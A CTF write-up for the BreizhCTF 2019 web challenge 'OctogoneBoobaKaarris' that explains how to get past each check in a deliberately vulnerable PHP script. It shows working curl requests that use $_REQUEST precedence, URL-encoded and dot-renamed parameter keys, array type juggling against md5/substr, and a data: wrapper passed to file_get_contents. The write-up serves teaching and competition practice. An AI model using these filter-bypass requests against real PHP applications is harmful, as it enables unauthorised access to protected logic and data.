OctogoneBoobaKaarris

BreizhCTF 2019 - Web (75 pts).

BreizhCTF 2019: OctogoneBoobaKaarris

Challenge details

Event Challenge Category Points Solves
BreizhCTF 2019 OctogoneBoobaKaarris Web 75 2

Description

URL: http://ctf.bzh:26000

TL;DR

The goal is to verify multiple conditions and bypass few PHP paradoxes including array parameters and $_SERVER variable parsing.

Methodology

First look at the code

A simple GET request at the URL gave us the following code:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    if($_REQUEST){
        foreach ($_REQUEST as $key => $value) {
            if(preg_match('/[a-zA-Z]/i', $value))   die('<center><b>booba vs kaaris... #tristesse</b></center>');
        }
    }
    if($_SERVER){
        if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING']))  die('<center><b>booba vs kaaris... #tristesse</b></center>');
    }
    if(isset($_GET['octogone'])){
        if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
            die('<center><b>booba vs kaaris... #tristesse</b></center>');
        }else{
            if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
                $getflag = file_get_contents($_GET['flag']);
            }
            if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
              include 'flag.php';
              echo $flag;
            }else die('<center><b>booba vs kaaris... #tristesse</b></center>');
        }
    }
?>

Looking at the code, we can see that we need to reach the statement echo $flag;. The statement is reached when multiple conditions are verified (see each die() call). To debug the code, I decided to copy it and debug it inside my apache server (PHP version: 7).

Breakpoints and debugging

First of all, I decided to change each die errors with custom errors: ERROR1, ERROR2, ERROR3 … Then I changed the include flag function to echo 'FLAG !'. Finally I changed the error_reporting(0) policy to a “display all error” policy at the begin of the code.

<?php
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);

    highlight_file(__FILE__);
    if($_REQUEST){
        foreach ($_REQUEST as $key => $value) {
            if(preg_match('/[a-zA-Z]/i', $value))   die('ERROR1');
        }
    }
    if($_SERVER){
        if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING']))  die('ERROR2');
    }
    if(isset($_GET['octogone'])){
        if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
            die('ERROR3');
        }else{
            if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
                $getflag = file_get_contents($_GET['flag']);
            }
            if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
                echo 'FLAG !';
            }else die('ERROR4');
        }
    }
?>

Let’s do it !

Bypass 1

The first condition was:

 foreach ($_REQUEST as $key => $value) {
            if(preg_match('/[a-zA-Z]/i', $value))   die('ERROR1');
        }

The code says that if a variable from $_REQUEST contains characters then exit. This condition is in contradiction with others:

if preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles'])

To bypass this statement, we need to put every variable both in POST and GET parameters. $_REQUEST will then verify only the POST request. Note that we need to put an integer or an empty value for each parameters as post value.

Example:

curl "localhost/?param1=string1&param2=string2" -X POST -d "param1=&param2" 
Bypass 2

The next condition was:

if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING']))  die('ERROR2');

In other word, the program exits when one of the word octogone, flag or sans_regles is in the url. This is a problem because in the next part of the code, we’ve got the following check:

if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']))

For this bypass, my friend Creased knew that “.” was replaced by a “_” for GET parameters (keys only). According to the PHP Forum, we can see that other chars are converted to an underscore.

Moreover url encode can bypass this check since $_SERVER doesn’t url decode and $_GET does.

We can now bypass the second problem:

curl "localhost/?sans.regles=viens_pas_a_12_cette_fois&%6fctogone=0&%66lag=0" -X POST -d "sans.regles="
Bypass 3

The third condition was a weird hash verification:

if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){

This means that the $_GET[‘octogone’] variable (the 32 firsts chars) must be equals to its own md5sum.

For this step, 2 solution: compute a md5collision in less than 32 chars (good luck !), or… play with empty array ! I decided to pass an array as parameter and see the behavior:

var_dump(substr([],32));  // NULL
var_dump(md5([]));  // NULL
var_dump(substr([],32) == md5([]));  // True

We can bypass the third problem with an array for octogone:

curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=0" -X POST -d "sans.regles="
Bypass 4

The last condition was the following one:

if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
    $getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
    echo 'FLAG !';
}else die('ERROR4');

We need to set $_GET['flag'] to an url that file_get_contents could request. Moreover, the result of this request must be equal to “#jaiMalAMaFrance”.

I decided to use the data wrapper: flag=data:plain/text,#jaiMalAMaFrance. I urlencoded the first letter to bypass the second filter and put this variable in POST to bypass the first filter. I also urlencoded the special chars of the wrapper: data%3Aplain%2ftext%2C%23jaiMalAMaFrance

curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=data%3Aplain%2ftext%2C%23jaiMalAMaFrance" -X POST -d "sans.regles=&flag="

Here we are ! We bypassed all the conditions !

Flag

BREIZHCTF{un_octogone_sans_arbitre_sans_règles…#jaimalamafrance}

Zeecka